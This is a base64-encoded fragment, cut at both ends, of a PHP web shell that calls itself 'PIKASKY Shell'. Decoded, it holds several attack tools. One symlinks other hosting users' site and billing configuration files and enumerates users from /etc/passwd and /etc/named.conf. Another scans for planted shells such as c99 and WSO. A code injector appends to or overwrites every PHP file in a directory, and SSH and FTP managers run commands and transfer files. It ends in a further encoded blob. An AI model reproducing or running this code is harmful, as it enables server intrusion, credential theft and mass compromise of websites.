GllbnRlL2NvbmZpZ3VyYXRpb24ucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCAiUElLQVNLWSAvIi4kdXNlci4iID0+Y2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCIpOw0KICAgIHN5bWxpbmsoIi9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PmJpbGxpbmcvY29uZmlndXJhdGlvbi5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5hZG1pbi9jb25maWcucGhwIik7DQp9DQoNCmZ1bmN0aW9uIHN5bV94eHgoKQ0Kew0KICAgIGdsb2JhbCAkc3ltX2h0YWNjZXNzLCRzeW1fcGhwX2luaTsNCiAgICBta2RpcignUElLQVNLWSAnLCAwNzc3KTsNCiAgICBzeW1saW5rKCIvIiwgIlBJS0FTS1kgL3Jvb3QiKTsNCiAgICAkaHRhY2Nlc3M9QGZvcGVuKCdQSUtBU0tZIC8uaHRhY2Nlc3MnLCAndycpOw0KICAgIGZ3cml0ZSgkaHRhY2Nlc3MsJHN5bV9odGFjY2Vzcyk7DQogICAgJHBocF9pbmlfeD1mb3BlbignUElLQVNLWSAvcGhwLmluaScsICd3Jyk7DQogICAgZndyaXRlKCRwaHBfaW5pX3gsICRzeW1fcGhwX2luaSk7DQogICAgJGFrcHMgPSBpbXBsb2RlKGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpKTsNCiAgICBpZighJGFrcHMpDQogICAgew0KICAgICAgICBjb25maWdfZ3JhYmJlcl91aSgpOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICR1c3JkID0gYXJyYXkoKTsNCiAgICBmb3JlYWNoKCRha3BzIGFzICRha3ApDQogICAgew0KICAgICAgICBpZihlcmVnaSgiem9uZSIsICRha3ApKQ0KICAgICAgICB7DQogICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiICMnLCAkYWtwLCAkYWtwenopOw0KICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRha3B6elsxXVswXSkpPjIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHVzZXI9cG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRha3B6elsxXVswXSkpOw0KICAgICAgICAgICAgICAgIHN5bWxpbmtnKCRha3B6elsxXVswXSwkdXNlclsnbmFtZSddKTsNCiAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIH0NCn0NCg0KZnVuY3Rpb24gc3ltX2xpbmsoKQ0Kew0KICAgIGdsb2JhbCAkc3ltX2h0YWNjZXNzLCRzeW1fcGhwX2luaTsNCiAgICBjbWQoJ3JtIC1yZiBBS1AnKTsNCiAgICBta2RpcignQUtQJywgMDc1NSk7DQogICAgJHVzcmQgPSBhcnJheSgpOw0KICAgICRha3BzID0gaW1wbG9kZShmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7DQogICAgJGh0YWNjZXNzPWZvcGVuKCdBS1AvLmh0YWNjZXNzJywgJ3cnKTsNCiAgICBmd3JpdGUoJGh0YWNjZXNzLCRzeW1faHRhY2Nlc3MpOw0KICAgICRwaHBfaW5pX3g9Zm9wZW4oJ0FLUC9waHAuaW5pJywgJ3cnKTsNCiAgICBmd3JpdGUoJHBocF9pbmlfeCwgJHN5bV9waHBfaW5pKTsNCiAgICBzeW1saW5rKCIvIiwgIkFLUC9yb290Iik7DQogICAgaWYoISRmaWxlKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnQmluZCBGaWxlIC9ldGMvcGFzc3dkIE5vdCBGb3VuZC4gSXRzIGFsdGVybmF0aXZlIE1ldGhvZCcpPC9zY3JpcHQ+IjsNCiAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+U3ltTGluazwvaDI+PC9jZW50ZXI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPSd0YWJsZSc+PHRyPjx0aD5Vc2VyczwvdGg+PHRoPkV4cGxvaXQ8L3RoPjwvdHI+IjsNCiAgICAgICAgJHVzZXJzID0gZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCiAgICAgICAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQogICAgICAgIHsNCiAgICAgICAgICAgICR1c2VyID0gZXhwbG9kZSgnOicsICR1c2VyKTsNCiAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+Ii4kdXNlclswXS4iPC90ZD48dGQ+PGEgaHJlZj0nQUtQL3Jvb3QvaG9tZS8iLiR1c2VyWzBdLiIvcHVibGljX2h0bWwvJyB0YXJnZXQ9X2JsYW5rPlN5bUxpbms8L3RyPiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOw0KICAgICAgICANCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlPjx0cj48dGQ+RG9tYWluczwvdGQ+PHRkPlVzZXJzPC90ZD48dGQ+RXhwbG9pdDwvZm9udD48L3RkPjwvdHI+IjsNCiAgICAgICAgZm9yZWFjaCgkYWtwcyBhcyAkYWtwKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZihlcmVnaSgiem9uZSIsICRha3ApKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIgIycsICRha3AsICRha3B6eik7DQogICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkYWtwenpbMV1bMF0pKT4yKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXI9cG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRha3B6elsxXVswXSkpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRha3B6elsxXVswXS4iIHRhcmdldD1fYmxhbms+Ii4kYWtwenpbMV1bMF0uIjwvYT48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjx0ZD48YSBocmVmPSdBS1Avcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sLycgdGFyZ2V0PV9ibGFuaz5TeW1MaW5rPC9hPjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBzaGVsbF9maW5kZXJfdWkoKQ0Kew0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlNIM0xMIFNDQU5ORVI8L2gyPjxociAvPjxiciAvPjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0nR0VUJz5VUkwgOiA8aW5wdXQgc2l6ZT01MCBuYW1lPSdzaDMxMV9zY2FueCcgdmFsdWU9J2h0dHA6Ly93d3cuYWppdGhrcDU2MC5ob3N0ZWkuY29tL1BIUC8nPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgJyAvPjwvZm9ybT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz4iOw0KfQ0KDQpmdW5jdGlvbiBzaGVsbF9maW5kZXJfYmcoKQ0Kew0KICAgICRzaF91cmw9JF9HRVRbJ3NoMzExX3NjYW54J107DQogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+U0hFTEwgU0NBTjwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPSd0YWJsZSc+IjsNCiAgICAkU2hlbGxaPWFycmF5KCJQSUtBU0tZIC5waHAiLCAiYzk5LnBocCIsICJjMTAwLnBocCIsInI1Ny5waHAiLCAiYjM3NGsucGhwIiwgImMyMi5waHAiLCAic3ltLnBocCIsICJzeW1saW5rX3NhLnBocCIsICJyMDB0LnBocCIsICJ3ZWJyMDB0LnBocCIsICJzcWwucGhwIiwiY3BhbmVsLnBocCIsICJ3c28ucGhwIiwgIjQwNC5waHAiLCAiYWFyeWEucGhwIiwgImdyZWVuc2hlbGwucGhwIiwgImRkb3MucGhwIiwgIm1hZHNwb3QucGhwIiwgIjEzMzcucGhwIiwgIjMxMzM3LnBocCIsICJXU08ucGhwIiwgImR6LnBocCIsICJjcG4ucGhwIiwgInNoM2xsLnBocCIsICJteXNxbC5waHAiLCAia2lsbGVyLnBocCIsICJjZ2lzaGVsbC5wbCIsICJkejAucGhwIiwgIndoY21zLnBocCIsICJ2Yi5waHAiLCAiZ2F6YS5waHAiLCAiZDBtYWlucy5waHAiLCAiY2hhbmdlYWxsLnBocCIsICJoNHgwci5waHAiLCAiTDNiLnBocCIsICJ1cGxvYWRzLnBocCIsICJzaGVsbC5hc3AiLCAiY21kLmFzcCIsICJzaDNsbC5hc3AiLCAiYjM3NGstMi4yLnBocCIsICJtMW4xLnBocCIsICJiMzc0a20xbjEucGhwIik7DQogICAgZm9yZWFjaCgkU2hlbGxaIGFzICRzaGVsbCkNCiAgICB7DQogICAgICAgICR1cmx6eng9JHNoX3VybC4kc2hlbGw7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+PGZvbnQgY29sb3I9b3JhbmdlPkNoZWNraW5nIDogPC9mb250PiA8Zm9udCBjb2xvcj03MTcxQzY+ICR1cmx6enggPC9mb250PjwvdGQ+IjsNCiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgkdXJsenp4KTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIHRydWUpOw0KICAgICAgICAgICAgY3VybF9leGVjKCRjaCk7DQogICAgICAgICAgICAkc3RhdHVzX2NvZGU9Y3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICAgICAgICAgIGlmKCRzdGF0dXNfY29kZT09MjAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz48Zm9udCBjb2xvcj1ncmVlbj4gRm91bmQuLi4uPC9mb250PjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz48Zm9udCBjb2xvcj1yZWQ+Tm90IEZvdW5kLi4uPC9mb250PjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPmNVUkwgTm90IEZvdW5kIDwvZm9udD4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOw0KfQ0KDQpmdW5jdGlvbiBjb2RlX2luX3VpKCkNCnsNCiAgICBnbG9iYWwgJHNlcDsNCiAgICAkbW9kZT0kX1BPU1RbJ21vZGV4eHgnXTsNCiAgICAkZnR5cGU9JF9QT1NUWydmZnR0eXBlJ107DQogICAgJGNfY29udD0kX1BPU1RbJ2NvZGVfY29udCddOw0KICAgICRwcHA9JF9QT1NUWydwYXRoJ107DQogICAgaWYoaXNzZXQoJF9QT1NUWydtb2RleHh4J10pICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSAmJiBpc3NldCgkX1BPU1RbJ2ZmdHR5cGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjb2RlX2NvbnQnXSkgJiYgJG1vZGUhPSIiICYmICRmdHlwZSE9IiIgJiYgJGNfY29udCE9IiIgJiYgJHBwcCE9IiIpDQogICAgew0KICAgICAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5TdWNjZXNzZnVsbHkgYzBkMyBpbmozY3RlZDwvaDI+PC9jZW50ZXI+PHRhYmxlIGNsYXNzPXRibD4iOw0KICAgICAgICBzd2l0Y2goJG1vZGUpDQogICAgICAgIHsNCiAgICAgICAgICAgIGNhc2UgIkFwZW5kZXIiOg0KICAgICAgICAgICAgICAgICRtbW9kZT0iYSI7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJSZXdyaXRlIjoNCiAgICAgICAgICAgICAgICAkbW1vZGU9InciOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIGlmKCRoYW5kbGUgPSBvcGVuZGlyKCRwcHApKQ0KICAgICAgICB7DQogICAgICAgICAgICB3aGlsZSgoJGNfZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpICE9PSBGYWxzZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZigocHJlZ19tYXRjaCgiLyRmdHlwZSIuJyQnLicvJywgJGNfZmlsZSAsICRtYXRjaGVzKSAhPSAwKSAmJiAocHJlZ19tYXRjaCgnLycuJGNfZmlsZS4nJC8nLCAkc2VsZiAsICRtYXRjaGVzKSAhPSAxKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+PGZvbnQgY29sb3I9cmVkPiRwcHAkc2VwJGNfZmlsZTwvZm9udD48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgJGZkID0gZm9wZW4oJHBwcC4kc2VwLiRjX2ZpbGUsJG1tb2RlKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGZkKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZkLCRjX2NvbnQpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkVycm9yLiBBY2Nlc3MgRGVuaWVkIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgID8+DQogICAgICAgIDxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPmMwZGUgaW5qM2N0PC9oMj48L2NlbnRlcj48aHIgLz48YnIgLz48YnIgLz48dGFibGUgY2xhc3M9dGFibGU+PGZvcm0gbWV0aG9kPSdQT1NUJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdwYXRoJyB2YWx1ZT0iPD9waHAgZWNobyBnZXRjd2QoKTsgPz4iPjx0cj48dGQ+TW9kZSA6IDwvdGQ+DQogICAgICAgIDx0ZD48c2VsZWN0IHN0eWxlPSdjb2xvcjpncmVlbjsgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgYm9yZGVyOjFweCBzb2xpZCAjNjY2OycgbmFtZT0nbW9kZXh4eCc+PG9wdGlvbj5BcGVuZGVyPC9vcHRpb24+PG9wdGlvbj5SZXdyaXRlPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+RmlsZSBUeXBlPC90ZD48dGQ+PGlucHV0IG5hbWU9J2ZmdHR5cGUnIHZhbHVlPScucGhwJyBzaXplPTUwPjwvdGQ+PC90cj4NCiAgICAgICAgPHRyPjx0ZD5Db250ZW50IDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9J2NvZGVfY29udCcgcm93cz0yMCBjb2xzPTYwIGNsYXNzPSd0ZXh0YXJlYV9lZGl0Jz48L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nICAgPj4gICAnIGNsYXNzPSdpbnB1dF9iaWcnIC8+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPg0KICAgIDw/cGhwDQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBzc2hfbWFuX3VpKCkNCnsNCiAgICA/Pg0KICAgIDxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlNTSCBNYW5hZ2VyPC9oMj48aHIgLz48YnIgLz48YnIgLz48dGFibGUgY2xhc3M9dGFibGU+PGZvcm0gbWV0aG9kPSdHRVQnPjx0cj48dGQ+SE9TVCA6IDwvdGQ+PHRkPjxpbnB1dCBzaXplPTUwIG5hbWU9J3NzaF9ob3N0Jz48L3RkPjwvdHI+PHRyPjx0ZD5Vc2VybmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBzaXplPTUwIG5hbWU9J3NzaF91c2VyJz48L3RkPjwvdHI+PHRyPjx0ZD5QYXNzd29yZCA6IDwvdGQ+PHRkPjxpbnB1dCBzaXplPTUwIG5hbWU9J3NzaF9wYXNzJz48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+PC9mb3JtPjwvdGFibGU+PC9jZW50ZXI+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+DQogICAgPD9waHANCn0NCg0KZnVuY3Rpb24gc3NoX21hbl9iZygpDQp7DQogICAgJHNzaF9oPSRfR0VUWydzc2hfaG9zdCddOw0KICAgICRzc2hfdT0kX0dFVFsnc3NoX3VzZXInXTsNCiAgICAkc3NoX3A9JF9HRVRbJ3NzaF9wYXNzJ107DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3NoMl9jb25uZWN0JykpDQogICAgew0KICAgICAgICBhbGVydCgiU29ycnksIEZ1bmN0aW9uIHNzaDJfY29ubmVjdCBpcyBub3QgZm91bmQiKTsNCiAgICB9DQogICAgJGNvbm49c3NoMl9jb25uZWN0KCRzc2hfaCwgMjIpOw0KICAgIGlmKCEkY29ubikNCiAgICB7DQogICAgICAgIGFsZXJ0KCJTU0ggSG9zdCBOb3QgRm91bmQiKTsNCiAgICB9DQogICAgJGxvZz1zc2gyX2F1dGhfcGFzc3dvcmQoJGNvbm4sICRzc2hfdSwgJHNzaF9wKTsNCiAgICBpZighJGxvZykNCiAgICB7DQogICAgICAgIGFsZXJ0KCJTU0ggQXV0aG9yaWNhdGlvbiBmYWlsZWQiKTsNCiAgICB9DQogICAgJHNoZWxsPXNzaDJfc2hlbGwoJGNvbm4sICJiYXNoIik7DQogICAgaWYoJF9HRVRbJ3NzaF9jbWQnXSE9IiIgJiYgJF9HRVRbJ3NzaF9jbWQnXSkNCiAgICB7DQogICAgICAgICRzc2hfY21kPSRfR0VUWydzc2hfY21kJ107DQogICAgICAgIGZ3cml0ZSgkc2hlbGwsICRzc2hfY21kKTsNCiAgICAgICAgc2xlZXAoMSk7DQogICAgICAgIHdoaWxlKCRsaW5lPWZnZXRzKCRzaGVsbCkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICBlY2hvICRsaW5lLiJcbiI7DQogICAgICAgIH0NCiAgICAgICAgPz4NCiAgICA8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5TU0ggU2hlbGwgYnkgUElLQVNLWSAgU2hlbGw8L2gyPjxociAvPjxiciAvPjxiciAvPjx0ZXh0YXJlYSBjbGFzcz0ndGV4dGFyZWFfZWRpdCcgcm93cz0yMCBjb2xzPTYwPjwvdGV4dGFyZWE+DQogICAgPGZvcm0gbWV0aG9kPSdHRVQnPkNNRCA6IDxpbnB1dCBuYW1lPSdzc2hfY21kJyBzaXplPTYwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICcgLz48L2Zvcm0+PC9jZW50ZXI+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+DQogICAgICAgIDw/cGhwDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgPz4NCiAgICA8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5TU0ggU2hlbGwgYnkgUElLQVNLWSAgU2hlbGw8L2gyPjxociAvPjxiciAvPjxiciAvPjx0ZXh0YXJlYSBjbGFzcz0ndGV4dGFyZWFfZWRpdCcgcm93cz0yMCBjb2xzPTYwPjwvdGV4dGFyZWE+DQogICAgPGZvcm0gbWV0aG9kPSdHRVQnPkNNRCA6IDxpbnB1dCBuYW1lPSdzc2hfY21kJyBzaXplPTYwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICcgLz48L2Zvcm0+PC9jZW50ZXI+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+DQogICAgPD9waHANCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGZ0cF9tYW5fdWkoKQ0Kew0KICAgID8+DQogICAgPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+RlRQIE1hbmFnZXI8L2gyPjxociAvPjxiciAvPjxiciAvPjx0YWJsZSBjbGFzcz10YWJsZT48Zm9ybSBtZXRob2Q9J0dFVCc+PHRyPjx0ZD5IT1NUIDogPC90ZD48dGQ+PGlucHV0IHNpemU9NTAgbmFtZT0nZnRwX2hvc3QnPjwvdGQ+PC90cj4NCiAgICA8dHI+PHRkPlVzZXJuYW1lIDogPC90ZD48dGQ+PGlucHV0IHNpemU9NTAgbmFtZT0nZnRwX3VzZXInPjwvdGQ+PC90cj4NCiAgICA8dHI+PHRkPlBhc3N3b3JkIDogPC90ZD48dGQ+PGlucHV0IHNpemU9NTAgbmFtZT0nZnRwX3Bhc3MnPjwvdGQ+PC90cj4NCiAgICA8dHI+PHRkPlBhdGggWzxmb250IGNvbG9yPXJlZD5PcHRpb25hbDwvZm9udD5dIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9J2ZwYXRoJyBzaXplPTUwPjwvdGQ+PC90cj4NCiAgICA8dHI+PHRkPlVwbG9hZCBGaWxlIEZyb20gU2VydmVyIFs8Zm9udCBjb2xvcj1yZWQ+T3B0aW9uYWw8L2ZvbnQ+XSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSd1cGxvYWRfZmlsZScgc2l6ZT01MD48L3RkPjwvdHI+DQogICAgPHRyPjx0ZD5Eb3dubG9hZCBGaWxlIFRvIFNlcnZlciBbPGZvbnQgY29sb3I9cmVkPk9wdGlvbmFsPC9mb250Pl0gOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0nZG93bmxvYWRfZmlsZScgc2l6ZT01MD48L3RkPjwvdHI+DQogICAgPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+PC9mb3JtPjwvdGFibGU+PC9jZW50ZXI+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+DQogICAgPD9waHANCn0NCmZ1bmN0aW9uIHBidF91aSgpDQp7DQokcGJ0PSJQWm5YQ3NWS2xwN3B3VmNOL1E3andUQm5rRUU1TWJZUGlsdFoyc3JTelVFNTU2eW45NTdHdUVDQ0tpSFZZcWxxL2Q5UGZXU1JvcE8vL2ZtM1AvOS8rKzkvL3ZuZi90bjluLzkxKytlamYva1gvbTkvL3VlZi8vajcvL3B6cnVkLy9IMHI5ci8yWmlqKzZwdWgyZitBL3VNLy8vSDNZbDJuOWErMW1LZDFiOGJxL3cxbTlmU3YvK2JXeWRqOTZ3TWQvL1liK2gvNXRDZi8rOTlKOTEzamZQWTNxQzJCb0VGeW1qNVdHVXkrQW5BeGlpV1luMkVuQXlZMWtmN1VyY3F4RzZ6bVBkcjBQVGkvZEtlVWdJYTZoK2VCWHNUNXN0bHhOV2xNS2lUczJFbEVGT05NNVB2NHdxdmQ4NGVHak1taDBXOEpoZHRpcmtsVGZCWUVXdktzMzJnY0xCZHRZWmJBTzkxaUpTa0t0RmJ0eTdPQlR6dHcyNmh1MGFqUjNMSmhYRWN3Uzd2ZFBpeVlTeEtSQ29RUENhcTRpemo4QTVJRWg0L0lmUTlFM2xqWTNSc2RYN05qQTdFM1A5V0JTVTAwMDlWdW4vZVZ6dHNmaUhNRWxVSSt3bnB3ZGNPRCs3VFRHWTlyVlNicVcrdWxxMmg3SE5hZXhLMDhESG8vcitSeTN6ZUxTVHVTYjhKNTAzSCtkS0dpOHVzWWYyRTAzNnBRSWhzdENqN0NSOVNYdk1rbkZ2SGd5eC9aN3FaRjI3NEZMdmM3Y2d4d3RBb1g3eHRBKzVpcVpIUDZPL3ZhZGdWMWVjRG01TkVSOEpmdjRYZk93blZMcUR5VVd6eXBJZ2N1WHRYWlU1dzM0MWVwR1o3VzFrVGY5bS9UT1hBNFRtcTBTR3FXYUgxRkRZdW9oNVBBYUZtOERpeEhhbVZoVUJLTDVrRlNlTVdJclhQNldKTWxlQ3pJZGIyd25NenFZR2lSSUdGMmx3Slg3VmxLUHlCRHNDSWVFOHY1WWFmM0xuZGVKa3ZwcnNTUDBZN0krcHRiNitlMWZIeld3Q0cxVm5PNllXekZiZjJVdkl5dDVFdmthWWhGcmFiVkRseFQzcnU0VUpYaFR2amR4cngyNjU1NndBbWg5ODlnTmU2Y1Q1SjVhdWhkdGFtVnFQTGszZlNFNGFOQzFOZ296cjBsblBjdjZac1FubEJxaUFrc1BDREF3TmdRMndEQVlBYmh0Q0pjblQ1MTlsZ1ZHbm5GSFRIaWVQSzJweXNZRWhpWjRGUWlINWpvV3BVRExJNUY4RWF0bGlMME94SjdWNnRCNUtJdEpkQXV0VFdDckJ0c0tkRk83TU1oZDRXVWIzMm5SU2kzQWRVUEIwV3hGaDA5dnJRVW1vTXRhWjR2d0crK1NhVUkzS0pIY1BXT1hDTTBBaFVpVlQ4UDY3UVgyc0Iyd3RMMC9OeFo3c24xbmFwM2d0cnZYSjNzVmRnL0g0Sno0Z1pabDRVbk9seHlJcDU1Z215dEpJaUI0NE9OSTNkSHUvWGlYbXdpWmljVHpQeHJmemM4OUMzcE9ZeDFjS1d6MWZ0UUJDdyszNjdlSTh0dUtZeVRZYjg0U1daaWQ1Sjd2bHNMOExiQnlLUDR0L00vQlRralRHRXU2eWdmWkV6MFJobTZZNzVFQ21uNEFLcHhZUG1TNDRqdWx0cjBoY2s1V3FpbXFpR2VaSTNCNnJMbGFBb3pCNXFvYkJUbTBDcXNpelV4YjRLekU1NDRpMGZ1NmhYNzVYR1lualRVQVpmWDJZZk4rZkhTRUpxUmxMbmFhN1l4OUpDYjNDOVhvNHpzRWhBcmFpcmIzaXRmV1FQQW1PN0p5TVBlaGFmcjd0RDVmUUU0TUNoZloyOUt4UThyc2o3MllkajJ5cTA3YjdQb3ZtYjhQVU5LTmZtYXBDeVJsNk4yWWRPZTBzbzVHMnFQa2dSUXh6U25jWEY2eThWdmJRQnB4WTg1QTIvVUtkZmovSExTSjdJMVQvZUNBK1hwbHY0Q042ZkhOc05ZRnc2aFM1MW5xVlJrT21UdmR6cC9FcVlwWm40ZlI2ZVZnOUJBT3l5TG1kaG9zb252djhHTTgxUVoyRUFySldpYXpnTGRGRWIwdFE0d0FFL2x1d2hOT29NaGp5U0dOcnlRVG45eUJJV05hNHF4WDlKeHVDdEJLaGVFL3UyNzh3aVZUWmlxQVZoSTJIMGUrNGEyNWthVjE0Z1hwVmcwMFZaZC9EYy9PeUdYL0t0UW55OEtmY3BIVnlHd0dGdW5QNVFtU2pVSWliM1JLOFRxSTlCaHREMEU3SkEyRmpLK21NT3RPVU5JbmdyRm9FZFhEOUUrekV0dk1qdXRMeGp3dENDYk93ckFFS1U1a0V0ckRiWG9FSURPWFlONDYza3VlcXk1QW9GeXVGM0VkMHY2RzVjUGNaWE16TEpMNG56RG9RRE5FNmJIV3B6UUtZOWgwNDNYTGx1OE9QVEkrYXV4aUNNbkx5MWU4dkM5VWtmdzJ2eTN6YmE4MmU1MEVUSkE3MVNqaVBRcytDNU9rNjRFMklpSXRxend3M0VyMGU1bG1PdlYrbjd4U25WVEJUVHdldE5HMzJ0TUxNQ2FhbklNVndCTmhpT2U0MHV6T2gxcjEvVFZDcm9ONE9TTE1ROC8zUnQ1RWk4NTU2MEtWTUx